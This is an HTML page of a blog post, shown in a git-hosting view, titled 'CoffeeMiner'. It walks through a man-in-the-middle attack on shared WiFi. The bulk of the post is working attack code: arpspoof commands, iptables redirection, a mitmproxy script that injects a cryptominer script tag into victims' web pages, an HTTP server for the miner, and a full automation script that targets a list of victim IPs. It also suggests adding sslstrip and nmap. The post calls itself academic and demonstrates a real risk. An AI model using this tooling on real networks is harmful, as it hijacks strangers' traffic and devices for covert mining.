You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

655 lines
32 KiB

3 years ago
3 years ago
3 years ago
3 years ago
3 years ago
  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta name="description" content="The goal of this post, is to explain how can be done the attack of MITM (Machine-In-The-Middle) to inject some javascript in the html pages, to force all the machines connected to a WiFi network to be mining a cryptocurrency for the attacker." />
  5. <meta charset="utf-8">
  6. <title> CoffeeMiner: Hacking WiFi to inject cryptocurrency miner to HTML requests - arnaucube - blog</title>
  7. <meta name="title" content=" CoffeeMiner: Hacking WiFi to inject cryptocurrency miner to HTML requests - arnaucube - blog">
  8. <meta name="description" content="The goal of this post, is to explain how can be done the attack of MITM (Machine-In-The-Middle) to inject some javascript in the html pages, to force all the machines connected to a WiFi network to be mining a cryptocurrency for the attacker.">
  9. <meta property="og:title" content=" CoffeeMiner: Hacking WiFi to inject cryptocurrency miner to HTML requests - arnaucube - blog" />
  10. <meta property="og:description" content="The goal of this post, is to explain how can be done the attack of MITM (Machine-In-The-Middle) to inject some javascript in the html pages, to force all the machines connected to a WiFi network to be mining a cryptocurrency for the attacker." />
  11. <meta property="og:url" content="https://arnaucube.com/blog/coffeeminer-hacking-wifi-cryptocurrency-miner.html" />
  12. <meta property="og:type" content="article" />
  13. <meta property="og:image" content="https://arnaucube.com/blog/img/posts/coffeeMiner/coffeeMiner-network-attack.png" />
  14. <meta name="twitter:title" content=" CoffeeMiner: Hacking WiFi to inject cryptocurrency miner to HTML requests - arnaucube - blog">
  15. <meta name="twitter:description" content="The goal of this post, is to explain how can be done the attack of MITM (Machine-In-The-Middle) to inject some javascript in the html pages, to force all the machines connected to a WiFi network to be mining a cryptocurrency for the attacker.">
  16. <meta name="twitter:image" content="https://arnaucube.com/blog/img/posts/coffeeMiner/coffeeMiner-network-attack.png">
  17. <meta name="twitter:card" content="summary_large_image">
  18. <meta name="author" content="arnaucube">
  19. <link rel="icon" type="image/png" href="img/logoArnauCubeFavicon.png">
  20. <meta name="viewport" content="width=device-width, initial-scale=1">
  21. <link href="css/bootstrap.min.css" rel="stylesheet">
  22. <link rel="stylesheet" href="css/style.css">
  23. <!-- highlightjs -->
  24. <!-- <link rel="stylesheet" href="js/highlightjs/atom-one-dark.css"> -->
  25. <link rel="stylesheet" href="js/highlightjs/atom-one-light.css">
  26. <!-- <link rel="stylesheet" href="js/highlightjs/gruvbox-dark.css"> -->
  27. <script src="js/highlightjs/highlight.pack.js"></script>
  28. <!-- katex -->
  29. <link rel="stylesheet" href="js/katex/katex.min.css">
  30. </head>
  31. <body>
  32. <!-- o_gradient_background" -->
  33. <nav id="mainNav" class="navbar navbar-default navbar-fixed-top"
  34. style="height:50px;font-size:130%;">
  35. <div class="container">
  36. <div style="float:left;">
  37. <a href="/blog" style="color:#000;display:inline-block;">Blog index</a>
  38. <span style="margin-right:20px; margin-left:20px;">|</span>
  39. <a href="/blog/notes.html" style="font-size:90%;color:#000;display:inline-block;">other-notes</a>
  40. </div>
  41. <div style="float:right;">
  42. <a href="/" style="color:#000;display:inline-block;">arnaucube.com</a>
  43. <div class="onoffswitch" style="margin:10px;display:inline-block;" title="change theme">
  44. <input onclick="switchTheme()" type="checkbox" name="onoffswitch" class="onoffswitch-checkbox"
  45. id="themeSwitcher">
  46. <label class="onoffswitch-label" for="themeSwitcher"></label>
  47. </div>
  48. </div>
  49. </div>
  50. <img style="height:5px; width:100%; margin-top:8px;" src="img/gradient-line.jpg" />
  51. </nav>
  52. <div class="container" style="margin-top:40px;max-width:800px;">
  53. <h1>CoffeeMiner: Hacking WiFi to inject cryptocurrency miner to HTML requests</h1>
  54. <p><em>2018-01-04</em></p>
  55. <p><strong><em>Disclamer: this article &amp; project is for academic purposes only.</em></strong></p>
  56. <p>Some weeks ago I read about <a href="https://motherboard.vice.com/en_us/article/gyd5xq/starbucks-wi-fi-hijacked-peoples-laptops-to-mine-cryptocurrency-coinhive">this Starbucks case</a> where hackers hijacked laptops on the WiFi network to use the devices computing power to mine cryptocurrency, and I thought it might be interesting perform the attack in a different way.</p>
  57. <p>The goal of this article, is to explain how can be done the attack of MITM (Machine-In-The-Middle) to inject some javascript in the html pages, to force all the devices connected to a WiFi network to be mining a cryptocurrency for the attacker.</p>
  58. <p><img src="img/posts/coffeeMiner/coffeeMiner-logo-small.png" alt="coffeeMiner" title="coffeeMiner" /></p>
  59. <p>The objective is to have a script that performs autonomous attack on the WiFi network. It&rsquo;s what we have called <strong>CoffeeMiner</strong>, as it&rsquo;s a kind of attack that can be performed in the cafes WiFi networks.</p>
  60. <h2>1. The Scenario</h2>
  61. <p>The scenario will be some machines connected to the WiFi network, and the CoffeeMiner attacker intercepting the traffic between the users and the router.</p>
  62. <p><img src="img/posts/coffeeMiner/coffeeMiner-network-attack.png" alt="network" title="network" /></p>
  63. <h3>1.1 Scenario configuration</h3>
  64. <p>The real scenario is a WiFi with laptops and smartphones connected. We have tested in this real world scenario, and it works. But for this article, we will see more deeply how to set up in a virtual environment.</p>
  65. <p>We will use VirtualBox to deploy our virtual scenario <a href="https://www.virtualbox.org/">https://www.virtualbox.org/</a> .</p>
  66. <p>First of all we need to download some Linux disk image and install it into a VirtualBox machine, for this example we will use Kali Linux images <a href="https://www.kali.org/">https://www.kali.org/</a></p>
  67. <p>Once we have the ISO image downloaded, we prepare 3 VBox machines with the Linux image installed.</p>
  68. <p>To configure the defined scenario we need to prepare the machines each one with a role:</p>
  69. <ul>
  70. <li>Victim
  71. <ul>
  72. <li>will be the machine that connects to the Router and browse some pages.</li>
  73. </ul></li>
  74. <li>Attacker
  75. <ul>
  76. <li>will be the machine where it runs the CoffeeMiner. Is the machine that performs the MITM.</li>
  77. </ul></li>
  78. <li>Router / Gateway
  79. <ul>
  80. <li>will act as a normal gateway.</li>
  81. </ul></li>
  82. </ul>
  83. <p><img src="img/posts/coffeeMiner/scenario01.png" alt="network" title="network" /></p>
  84. <p>Once the attack is performed, the scenario will be:</p>
  85. <p><img src="img/posts/coffeeMiner/scenario02.png" alt="network" title="network" /></p>
  86. <p>To configure each one of the machines, we will do the following configuration:</p>
  87. <ul>
  88. <li>Victim
  89. <ul>
  90. <li>network adapter:
  91. <ul>
  92. <li>eth0: Host-only Adapter</li>
  93. </ul></li>
  94. <li>/etc/network/interfaces:</li>
  95. </ul></li>
  96. </ul>
  97. <pre><code class="language-bash">auto lo
  98. iface lo inet loopback
  99. auto eth0
  100. iface eth0 inet static
  101. address 10.0.2.10
  102. netmask 255.255.255.0
  103. gateway 10.0.2.15
  104. </code></pre>
  105. <ul>
  106. <li>Attacker
  107. <ul>
  108. <li>network adapter:
  109. <ul>
  110. <li>eth0: Host-only Adapter</li>
  111. </ul></li>
  112. <li>/etc/network/interfaces:</li>
  113. </ul></li>
  114. </ul>
  115. <pre><code class="language-bash">auto lo
  116. iface lo inet loopback
  117. auto eth0
  118. iface eth0 inet static
  119. address 10.0.2.20
  120. netmask 255.255.255.0
  121. gateway 10.0.2.15
  122. </code></pre>
  123. <ul>
  124. <li>Router / Gateway
  125. <ul>
  126. <li>network adapter:
  127. <ul>
  128. <li>eth0: Bridged Adapter</li>
  129. <li>eth1: Host-only Adapter</li>
  130. </ul></li>
  131. <li>/etc/network/interfaces:</li>
  132. </ul></li>
  133. </ul>
  134. <pre><code class="language-bash">auto lo
  135. iface lo inet loopback
  136. auto eth0
  137. iface eth0 inet dhcp
  138. auto eth1
  139. iface eth1 inet static
  140. address 10.0.2.15
  141. netmask 255.255.255.0
  142. </code></pre>
  143. <h2>2. CoffeeMiner, understanding the code</h2>
  144. <h3>2.1 ARPspoofing</h3>
  145. <p>First of all, we need to understand how the MITM attack is performed.</p>
  146. <p>From wikipedia:</p>
  147. <p><em>&ldquo;In computer networking, ARP spoofing, ARP cache poisoning, or ARP poison routing, is a technique by which an attacker sends (spoofed) Address Resolution Protocol (ARP) messages onto a local area network. Generally, the aim is to associate the attacker&rsquo;s MAC address with the IP address of another host, such as the default gateway, causing any traffic meant for that IP address to be sent to the attacker instead.&rdquo;</em></p>
  148. <p><a href="https://en.wikipedia.org/wiki/ARP_spoofing">https://en.wikipedia.org/wiki/ARP_spoofing</a></p>
  149. <p>To perform the ARPspoofing attack, we will use the <strong>dsniff</strong> library.</p>
  150. <pre><code class="language-bash">arpspoof -i interface -t ipVictim ipGateway
  151. arpspoof -i interface -t ipGateway ipVictim
  152. </code></pre>
  153. <h3>2.2 mitmproxy</h3>
  154. <p><a href="https://mitmproxy.org/">mitmproxy</a> is a software tool that allows us to analyze the traffic that goes through a host, and allows to edit that traffic. In our case, we will use it to inject the javascript into the html pages.</p>
  155. <p>To make the process more more clean, we will only inject one line of code into the html pages. And will be that line of html code that will call to the javascript cryptocurrency miner.</p>
  156. <p>The line to inject the crypto miner is:</p>
  157. <pre><code class="language-html">&lt;script src=&quot;http://httpserverIP:8000/script.js&quot;&gt;&lt;/script&gt;
  158. </code></pre>
  159. <h3>2.3 Injector</h3>
  160. <p>Once we have the victim&rsquo;s traffic intercepted, we need to inject our script on it. We will use the mitmproxy API to do the injector:</p>
  161. <pre><code class="language-python">from bs4 import BeautifulSoup
  162. from mitmproxy import ctx, http
  163. import argparse
  164. class Injector:
  165. def __init__(self, path):
  166. self.path = path
  167. def response(self, flow: http.HTTPFlow) -&gt; None:
  168. if self.path:
  169. html = BeautifulSoup(flow.response.content, &quot;html.parser&quot;)
  170. print(self.path)
  171. print(flow.response.headers[&quot;content-type&quot;])
  172. if flow.response.headers[&quot;content-type&quot;] == 'text/html':
  173. script = html.new_tag(
  174. &quot;script&quot;,
  175. src=self.path,
  176. type='application/javascript')
  177. html.body.insert(0, script)
  178. flow.response.content = str(html).encode(&quot;utf8&quot;)
  179. print(&quot;Script injected.&quot;)
  180. def start():
  181. parser = argparse.ArgumentParser()
  182. parser.add_argument(&quot;path&quot;, type=str)
  183. args = parser.parse_args()
  184. return Injector(args.path)
  185. </code></pre>
  186. <h3>2.4 HTTP Server</h3>
  187. <p>As we have seen, the injector adds a line to the html, with a call to our javascript crypto miner. So, we need to have the script file deployed in a HTTP Server.</p>
  188. <p>In order to serve the javascript cryptocurrency miner, we will deploy a HTTP Server in the attacker machine. To do that, we will use the Python library &lsquo;http.server&rsquo;:</p>
  189. <pre><code class="language-python">#!/usr/bin/env python
  190. import http.server
  191. import socketserver
  192. import os
  193. PORT = 8000
  194. web_dir = os.path.join(os.path.dirname(__file__), 'miner_script')
  195. os.chdir(web_dir)
  196. Handler = http.server.SimpleHTTPRequestHandler
  197. httpd = socketserver.TCPServer((&quot;&quot;, PORT), Handler)
  198. print(&quot;serving at port&quot;, PORT)
  199. httpd.serve_forever()
  200. </code></pre>
  201. <p>The code above is a simple HTTP Server that will serve our crypto miner to the victims, when they require it.</p>
  202. <p>The javascript miner, will be placed in the /miner_script directory. In our case, we have used the <a href="https://coinhive.com/">CoinHive</a> javascript miner.</p>
  203. <h3>2.5 CoinHive crypto miner</h3>
  204. <p><a href="https://coinhive.com/">CoinHive</a> is a javascript miner for the <a href="https://coinmarketcap.com/es/currencies/monero/">Monero cryptocurrency</a> (XMR). It can be added to a website, and will use the user CPU power to calculate hashes with the Cryptonight PoW hash algorithm to mine Monero, based on <a href="https://cryptonote.org/">CryptoNote</a> protocol.</p>
  205. <p>CoinHive miner makes sense when user stays in a website for mid-long term sessions. So, for example, for a website where the users average session is arround 40 seconds, it doesn&rsquo;t make much sense.</p>
  206. <p>In our case, as we will inject the crypto miner in each one of the HTML pages that victims request, will have long term sessions to calculate hashes to mine Monero.</p>
  207. <p><img src="img/posts/coffeeMiner/coinhive-monero-logo.jpg" alt="CoinHive logo" title="CoinHive logo" /></p>
  208. <h2>3. CoffeeMiner, puting all together</h2>
  209. <p>The main objective is to tie all the previous concepts in one autonomous deployment. This will be the CoffeeMiner.</p>
  210. <p>The idea is to have the CoffeeMiner script that performs the ARPspoofing attack and set ups the mitmproxy to inject the CoinHive cryptominer into victims HTML pages.</p>
  211. <p>First of all, we need to configure the ip_forwarding and IPTABLES, in order to convert the attacker&rsquo;s machine into a proxy:</p>
  212. <pre><code class="language-bash">echo 1 &gt; /proc/sys/net/ipv4/ip_forward
  213. iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
  214. iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
  215. </code></pre>
  216. <p>To perform the ARPspoof for all the victims, we will prepare a &lsquo;victims.txt&rsquo; file with all the victim&rsquo;s IP.
  217. To read all the victims IPs, we prepare some Python lines, that will get the IPs (and also the gateway IP from the command line args), and performs the ARPspoof for each one of the victim&rsquo;s IP.</p>
  218. <pre><code class="language-python"># get gateway_ip
  219. gateway = sys.argv[1]
  220. print(&quot;gateway: &quot; + gateway)
  221. # get victims_ip
  222. victims = [line.rstrip('\n') for line in open(&quot;victims.txt&quot;)]
  223. print(&quot;victims:&quot;)
  224. print(victims)
  225. # run the arpspoof for each victim, each one in a new console
  226. for victim in victims:
  227. os.system(&quot;xterm -e arpspoof -i eth0 -t &quot; + victim + &quot; &quot; + gateway + &quot; &amp;&quot;)
  228. os.system(&quot;xterm -e arpspoof -i eth0 -t &quot; + gateway + &quot; &quot; + victim + &quot; &amp;&quot;)
  229. </code></pre>
  230. <p>Once we have the ARPspoofing performed, we just need to run the HTTP Server:</p>
  231. <pre><code class="language-bash">&gt; python3 httpServer.py
  232. </code></pre>
  233. <p>And now, we can run the mitmproxy with the injector.py:</p>
  234. <pre><code class="language-bash">&gt; mitmdump -s 'injector.py http://httpserverIP:8000/script.js'
  235. </code></pre>
  236. <h2>3.1 CoffeeMiner, final script</h2>
  237. <p>Now we put all the concepts explained above in the &lsquo;coffeeMiner.py&rsquo; script:</p>
  238. <pre><code class="language-python">import os
  239. import sys
  240. #get gateway_ip (router)
  241. gateway = sys.argv[1]
  242. print(&quot;gateway: &quot; + gateway)
  243. # get victims_ip
  244. victims = [line.rstrip('\n') for line in open(&quot;victims.txt&quot;)]
  245. print(&quot;victims:&quot;)
  246. print(victims)
  247. # configure routing (IPTABLES)
  248. os.system(&quot;echo 1 &gt; /proc/sys/net/ipv4/ip_forward&quot;)
  249. os.system(&quot;iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE&quot;)
  250. os.system(&quot;iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080&quot;)
  251. os.system(&quot;iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080&quot;)
  252. # run the arpspoof for each victim, each one in a new console
  253. for victim in victims:
  254. os.system(&quot;xterm -e arpspoof -i eth0 -t &quot; + victim + &quot; &quot; + gateway + &quot; &amp;&quot;)
  255. os.system(&quot;xterm -e arpspoof -i eth0 -t &quot; + gateway + &quot; &quot; + victim + &quot; &amp;&quot;)
  256. # start the http server for serving the script.js, in a new console
  257. os.system(&quot;xterm -hold -e 'python3 httpServer.py' &amp;&quot;)
  258. # start the mitmproxy
  259. os.system(&quot;~/.local/bin/mitmdump -s 'injector.py http://10.0.2.20:8000/script.js' -T&quot;)
  260. </code></pre>
  261. <p>And also in the &lsquo;injector.py&rsquo; script:</p>
  262. <pre><code class="language-python">from bs4 import BeautifulSoup
  263. from mitmproxy import ctx, http
  264. import argparse
  265. class Injector:
  266. def __init__(self, path):
  267. self.path = path
  268. def response(self, flow: http.HTTPFlow) -&gt; None:
  269. if self.path:
  270. html = BeautifulSoup(flow.response.content, &quot;html.parser&quot;)
  271. print(self.path)
  272. print(flow.response.headers[&quot;content-type&quot;])
  273. if flow.response.headers[&quot;content-type&quot;] == 'text/html':
  274. print(flow.response.headers[&quot;content-type&quot;])
  275. script = html.new_tag(
  276. &quot;script&quot;,
  277. src=self.path,
  278. type='application/javascript')
  279. html.body.insert(0, script)
  280. flow.response.content = str(html).encode(&quot;utf8&quot;)
  281. print(&quot;Script injected.&quot;)
  282. def start():
  283. parser = argparse.ArgumentParser()
  284. parser.add_argument(&quot;path&quot;, type=str)
  285. args = parser.parse_args()
  286. return Injector(args.path)
  287. </code></pre>
  288. <p>And to execute, we just need to do:</p>
  289. <pre><code class="language-bash">&gt; python3 coffeeMiner.py RouterIP
  290. </code></pre>
  291. <h2>4. Demo</h2>
  292. <p>In order to do the demo, we set up the VirtualBox scenario explained above.</p>
  293. <p>If we want to perform the attack manually, we will need the following terminals:</p>
  294. <p><img src="img/posts/coffeeMiner/demo01.png" alt="demo" title="demo" /></p>
  295. <p>Then, once the ARPspoofing attack is done and the injector and the HTTP Server are ready, we can go to the victim&rsquo;s machine and browse to a website. The victim&rsquo;s traffic will go through the attacker machine, and will activate the injector:</p>
  296. <p><img src="img/posts/coffeeMiner/demo02.png" alt="demo" title="demo" /></p>
  297. <p>As a result, the html pages that the victim is viewing, will have the html lines of code that the attacker has been injected.</p>
  298. <p><img src="img/posts/coffeeMiner/coffeeMiner-demo-cutted.gif" alt="demo" title="demo" /></p>
  299. <h4>4.1 Demo video</h4>
  300. <p>In the following video, we can see the complete attack in the scenario, using the coffeeMiner.py script:</p>
  301. <ul>
  302. <li>VirtualBox demo:</li>
  303. </ul>
  304. <p><a href="https://www.youtube.com/watch?v=wmYJ6Z4LoCA"><img src="img/posts/coffeeMiner/demo-video.png" alt="video demo" /></a></p>
  305. <ul>
  306. <li>Real world WiFi network and laptops demo:</li>
  307. </ul>
  308. <p><a href="https://www.youtube.com/watch?v=-TnzGLUD0DU"><img src="img/posts/coffeeMiner/demo-realWiFi-video.png" alt="video demo" /></a></p>
  309. <h2>Conclusion</h2>
  310. <p>As we have seen, the attack can be easily performed, and also can be deployed to be an autonomous attack in a WiFi network.</p>
  311. <p>Another thing to have in mind, is that for a real world WiFi network, is better to perform the process with a powerful WiFi antenna, to reach better all the physical zone.</p>
  312. <p>Tha main objective was to perform the autonomous attack, but we still need to edit the victims.txt file with the IP addresses of the victims devices. For a further version, a possible feature could be adding an autonomous <a href="https://nmap.org/">Nmap</a> scan, to add the IPs detected to the CoffeeMiner victims list. Another further feature, could be adding <a href="https://moxie.org/software/sslstrip/">sslstrip</a>, to make sure the injection also in the websites that the user can request over HTTPS.</p>
  313. <p>The complete code is available in the github repo: <a href="https://github.com/arnaucube/coffeeMiner">https://github.com/arnaucube/coffeeMiner</a></p>
  314. <hr>
  315. <p><strong><em>Disclamer: this article &amp; project is for academic purposes only.</em></strong></p>
  316. <hr>
  317. <p><em>tags: python, cryptocurrency, miner, blockchain, mitm, wifi, javascript, hacking, html, cryptominer, python3</em></p>
  318. <hr>
  319. <h1>References in the press about this article</h1>
  320. <ul>
  321. <li><p>English</p>
  322. <ul>
  323. <li><a href="https://www.theregister.co.uk/2018/01/05/wi_fi_crypto_mining/">https://www.theregister.co.uk/2018/01/05/wi_fi_crypto_mining/</a></li>
  324. <li><a href="http://securityaffairs.co/wordpress/67438/hacking/coffeeminer-hacking-wifi-cryptocurrency.html">http://securityaffairs.co/wordpress/67438/hacking/coffeeminer-hacking-wifi-cryptocurrency.html</a></li>
  325. <li><a href="https://gbhackers.com/coffeeminer-hacking-wifi/">https://gbhackers.com/coffeeminer-hacking-wifi/</a></li>
  326. <li><a href="https://www.privateinternetaccess.com/blog/2018/01/stop-coffeeminer-tool-injects-cryptocurrency-miner-html-requests-wifi-hotspots/">https://www.privateinternetaccess.com/blog/2018/01/stop-coffeeminer-tool-injects-cryptocurrency-miner-html-requests-wifi-hotspots/</a></li>
  327. <li><a href="http://www.zdnet.com/article/how-to-hack-public-wi-fi-to-mine-for-cryptocurrency/">http://www.zdnet.com/article/how-to-hack-public-wi-fi-to-mine-for-cryptocurrency/</a></li>
  328. <li><a href="https://sensorstechforum.com/coffeeminer-malware-virus-detect-remove/">https://sensorstechforum.com/coffeeminer-malware-virus-detect-remove/</a></li>
  329. <li><a href="http://turningtrend.com/how-to-hack-public-wi-fi-to-mine-for-cryptocurrency/">http://turningtrend.com/how-to-hack-public-wi-fi-to-mine-for-cryptocurrency/</a></li>
  330. <li><a href="https://www.theissue.com/technology/coffeeminer-demonstrates-how-hijackers-can-use-public-wi-fi-networks-to-mine-cryptocurrency">https://www.theissue.com/technology/coffeeminer-demonstrates-how-hijackers-can-use-public-wi-fi-networks-to-mine-cryptocurrency</a></li>
  331. <li><a href="https://koddos.net/blog/hackers-use-coffeeminer-hijack-public-wifi-hotspots-mine-cryptocurrency/?utm_source=Sociallymap&amp;utm_medium=Sociallymap&amp;utm_campaign=Sociallymap">https://koddos.net/blog/hackers-use-coffeeminer-hijack-public-wifi-hotspots-mine-cryptocurrency/?utm_source=Sociallymap&amp;utm_medium=Sociallymap&amp;utm_campaign=Sociallymap</a></li>
  332. <li><a href="http://nymag.com/selectall/2018/01/coffeeminer-allows-hackers-to-mine-bitcoin-on-public-wi-fi.html">http://nymag.com/selectall/2018/01/coffeeminer-allows-hackers-to-mine-bitcoin-on-public-wi-fi.html</a></li>
  333. <li><a href="https://medium.com/computerist/beware-coffeeminer-project-lets-you-hack-public-wi-fi-to-mine-cryptocoins-1915624c2ea5">https://medium.com/computerist/beware-coffeeminer-project-lets-you-hack-public-wi-fi-to-mine-cryptocoins-1915624c2ea5</a></li>
  334. <li><a href="https://resiliencepost.com/2018/01/12/coffeeminer-forces-coffee-shop-visitors-to-mine-for-monero/">https://resiliencepost.com/2018/01/12/coffeeminer-forces-coffee-shop-visitors-to-mine-for-monero/</a></li>
  335. <li><a href="https://fossbytes.com/coffeeminer-attack-wifi-attack-cryptomining/">https://fossbytes.com/coffeeminer-attack-wifi-attack-cryptomining/</a></li>
  336. <li><a href="https://securityboulevard.com/2018/01/coffeeminer-poc-targets-public-wi-fi-networks-to-mine-for-cryptocurrency/">https://securityboulevard.com/2018/01/coffeeminer-poc-targets-public-wi-fi-networks-to-mine-for-cryptocurrency/</a></li>
  337. <li><a href="https://latesthackingnews.com/2018/01/07/hacking-wireless-networks-use-coffeeminer-inject-cryptocurrency-miners/">https://latesthackingnews.com/2018/01/07/hacking-wireless-networks-use-coffeeminer-inject-cryptocurrency-miners/</a></li>
  338. <li><a href="https://nakedsecurity.sophos.com/2018/01/09/coffeeminer-project-lets-you-hack-public-wi-fi-to-mine-cryptocoins/">https://nakedsecurity.sophos.com/2018/01/09/coffeeminer-project-lets-you-hack-public-wi-fi-to-mine-cryptocoins/</a></li>
  339. <li><a href="https://hotforsecurity.bitdefender.com/blog/coffeeminer-poc-targets-public-wi-fi-networks-to-mine-for-cryptocurrency-19414.html">https://hotforsecurity.bitdefender.com/blog/coffeeminer-poc-targets-public-wi-fi-networks-to-mine-for-cryptocurrency-19414.html</a></li>
  340. <li><a href="https://www.helpnetsecurity.com/2018/01/08/public-wifi-cryptocurrency-mining/">https://www.helpnetsecurity.com/2018/01/08/public-wifi-cryptocurrency-mining/</a></li>
  341. <li><a href="https://www.infosecurity-magazine.com/news/coffeeminer-mine-for-monero/">https://www.infosecurity-magazine.com/news/coffeeminer-mine-for-monero/</a></li>
  342. <li><a href="http://www.ibtimes.co.uk/what-coffeeminer-new-attack-lets-hackers-hijack-public-wifi-networks-mine-cryptocurrency-1654320">http://www.ibtimes.co.uk/what-coffeeminer-new-attack-lets-hackers-hijack-public-wifi-networks-mine-cryptocurrency-1654320</a></li>
  343. </ul></li>
  344. <li><p>Spanish</p>
  345. <ul>
  346. <li><a href="http://www.elladodelmal.com/2018/01/coffeeminer-te-tomas-tu-cafe-te.html">http://www.elladodelmal.com/2018/01/coffeeminer-te-tomas-tu-cafe-te.html</a></li>
  347. <li><a href="https://blogs.protegerse.com/2018/01/10/coffeeminer-minando-criptodivisas-sin-autorizacion-usando-la-wifi-como-vector-de-ataque/">https://blogs.protegerse.com/2018/01/10/coffeeminer-minando-criptodivisas-sin-autorizacion-usando-la-wifi-como-vector-de-ataque/</a></li>
  348. <li><a href="http://noticiasseguridad.com/seguridad-informatica/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/">http://noticiasseguridad.com/seguridad-informatica/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/</a></li>
  349. <li><a href="https://www.redeszone.net/2018/01/06/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/">https://www.redeszone.net/2018/01/06/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/</a></li>
  350. <li><a href="https://terabytezone.com/coffeeminer-minado-criptomonedas-redes-wifi/">https://terabytezone.com/coffeeminer-minado-criptomonedas-redes-wifi/</a></li>
  351. <li><a href="http://www.nexusmovil.com/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/">http://www.nexusmovil.com/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/</a></li>
  352. <li><a href="https://www.coincrispy.com/2018/01/10/coffeeminer-ataque-mineria-criptomonedas/">https://www.coincrispy.com/2018/01/10/coffeeminer-ataque-mineria-criptomonedas/</a></li>
  353. <li><a href="https://www.criptonoticias.com/seguridad/coffeeminer-secuestra-redes-publicas-wi-fi-para-minar-criptomonedas/">https://www.criptonoticias.com/seguridad/coffeeminer-secuestra-redes-publicas-wi-fi-para-minar-criptomonedas/</a></li>
  354. </ul></li>
  355. <li><p>Russian</p>
  356. <ul>
  357. <li><a href="https://forklog.com/ispanskij-issledovatel-razrabotal-majner-dlya-publichnyh-wi-fi-setej/">https://forklog.com/ispanskij-issledovatel-razrabotal-majner-dlya-publichnyh-wi-fi-setej/</a></li>
  358. <li><a href="https://coinsider.com/p/news/2542-coffeeminer-novaya-programma-dlya-skrytogo-majninga-kriptovalyuty">https://coinsider.com/p/news/2542-coffeeminer-novaya-programma-dlya-skrytogo-majninga-kriptovalyuty</a></li>
  359. <li><a href="https://xakep.ru/2018/01/10/coffeeminer/">https://xakep.ru/2018/01/10/coffeeminer/</a></li>
  360. </ul></li>
  361. <li><p>Italian</p>
  362. <ul>
  363. <li><a href="http://cybersecurity.startupitalia.eu/56384-20180108-coffeeminer-hackerare-le-reti-wifi-produrre-criptovalute">http://cybersecurity.startupitalia.eu/56384-20180108-coffeeminer-hackerare-le-reti-wifi-produrre-criptovalute</a></li>
  364. </ul></li>
  365. <li><p>Bulgarian</p>
  366. <ul>
  367. <li><a href="https://questona.com/coffeeminer-wifi/">https://questona.com/coffeeminer-wifi/</a></li>
  368. </ul></li>
  369. <li><p>Greek</p>
  370. <ul>
  371. <li><a href="https://www.youbrandinc.com/crytocurrency/%CF%80%CE%B1%CF%81%CE%B1%CE%B2%CE%B9%CE%AC%CF%83%CF%84%CE%B5-%CF%84%CE%BF-free-wi-fi-%CF%84%CE%B7%CF%82-%CE%B3%CE%B5%CE%B9%CF%84%CE%BF%CE%BD%CE%B9%CE%AC%CF%82-%CF%83%CE%B1%CF%82-%CE%B3%CE%B9%CE%B1-mon/">https://www.youbrandinc.com/crytocurrency/%CF%80%CE%B1%CF%81%CE%B1%CE%B2%CE%B9%CE%AC%CF%83%CF%84%CE%B5-%CF%84%CE%BF-free-wi-fi-%CF%84%CE%B7%CF%82-%CE%B3%CE%B5%CE%B9%CF%84%CE%BF%CE%BD%CE%B9%CE%AC%CF%82-%CF%83%CE%B1%CF%82-%CE%B3%CE%B9%CE%B1-mon/</a></li>
  372. </ul></li>
  373. <li><p>Turkish</p>
  374. <ul>
  375. <li><a href="http://blog.cyberage.com.tr/2018/01/10/coffeeminer/">http://blog.cyberage.com.tr/2018/01/10/coffeeminer/</a></li>
  376. </ul></li>
  377. <li><p>Dutch</p>
  378. <ul>
  379. <li><a href="https://www.smartbiz.be/nieuws/173781/hoe-een-publiek-wifi-netwerk-kan-worden-gehackt-om-cryptomunten-te-minen/">https://www.smartbiz.be/nieuws/173781/hoe-een-publiek-wifi-netwerk-kan-worden-gehackt-om-cryptomunten-te-minen/</a></li>
  380. </ul></li>
  381. <li><p>Chinese</p>
  382. <ul>
  383. <li><a href="http://www.4hou.com/wireless/9773.html">http://www.4hou.com/wireless/9773.html</a></li>
  384. <li><a href="https://www.ithome.com.tw/news/120449">https://www.ithome.com.tw/news/120449</a></li>
  385. </ul></li>
  386. </ul>
  387. <h4>Destacated tweets</h4>
  388. <ul>
  389. <li>@defcon <a href="https://twitter.com/defcon/status/949679959509012480">https://twitter.com/defcon/status/949679959509012480</a></li>
  390. <li>@x0rz <a href="https://twitter.com/x0rz/status/948865836609130496">https://twitter.com/x0rz/status/948865836609130496</a></li>
  391. <li>@avast_antivirus <a href="https://twitter.com/avast_antivirus/status/951835917815308288">https://twitter.com/avast_antivirus/status/951835917815308288</a></li>
  392. <li>@fullstackpython <a href="https://twitter.com/fullstackpython/status/949707681543213057">https://twitter.com/fullstackpython/status/949707681543213057</a></li>
  393. <li>@alienvault <a href="https://twitter.com/alienvault/status/950449599872929792">https://twitter.com/alienvault/status/950449599872929792</a></li>
  394. <li>@binitamshah <a href="https://twitter.com/binitamshah/status/951520444900818945">https://twitter.com/binitamshah/status/951520444900818945</a></li>
  395. <li>@_odisseus <a href="https://twitter.com/_odisseus/status/951052521967144960">https://twitter.com/_odisseus/status/951052521967144960</a></li>
  396. </ul>
  397. <p><img src="img/posts/coffeeMiner/tweets_small.png" alt="tweets" title="tweets" /></p>
  398. </div>
  399. <footer style="text-align:center; margin-top:100px;margin-bottom:50px;">
  400. <div class="container">
  401. <br>
  402. <a href="/blog">Go to main</a>
  403. <br><br>
  404. <div class="row">
  405. <ul class="list-inline">
  406. <li><a href="https://twitter.com/arnaucube"
  407. style="color:gray;text-decoration:none;"
  408. target="_blank">twitter.com/arnaucube</a>
